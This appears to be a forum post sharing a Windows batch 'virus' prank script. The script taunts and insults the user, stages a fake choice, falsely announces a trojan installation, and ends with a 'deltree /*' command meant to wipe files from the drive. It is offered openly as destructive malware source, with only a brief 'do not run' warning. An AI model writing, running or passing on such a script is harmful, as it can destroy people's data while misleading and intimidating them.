Saw kinda program (DO NOT RUN ON YOUR COMPUTER)

Code:
@echo off

color 04
title hello from Kage
echo Oh hello, how are you?
echo oh who am I kidding, I don't give a crap!
ping localhost -n 8 >nul
goto a

:a
cls
color 02
echo how about this, I'll give you somewhat of a choice.
echo either you get a NEW PC or I kill your computer.
echo Your choice. Type 1 if you're going to get a new PC or
echo 2 if you want me to kill this one.

set /p a=
if %a%==1 goto bs
if %a%==2 goto dest

:bs
cls
color 04
echo bullshit! You wouldn't get a new computer, let alone a new PC
echo if someone put a gun to your head!
echo say goodbye!
ping localhost -n 6 >nul
goto dest

:dest
cls
color 04
echo say goodbye to your computer, %username%!
ping localhost -n 4 >nul
goto signoff

:signoff
@echo off

color 0b
echo PS C:\%os%\system32: Virus / Hack completed!
echo .
echo 	Hacked like a sir. Enjoy your new virus!
echo 		-Kage No Namida
echo (tip: type stfu)

set /p a=
if %a%==stfu ping localhost -n 4 >nul

:a
cls
color 04
echo Kage says: Really, You thought that would help you NOW?
echo Good luck, you ignorant n00b.
echo PS C:\%os%\system32: Welcome to hell
echo PS C:\%os%\system32: Installing trojan
ping localhost -n 5 >nul
goto x

:x
cls
time 6:66
deltree /*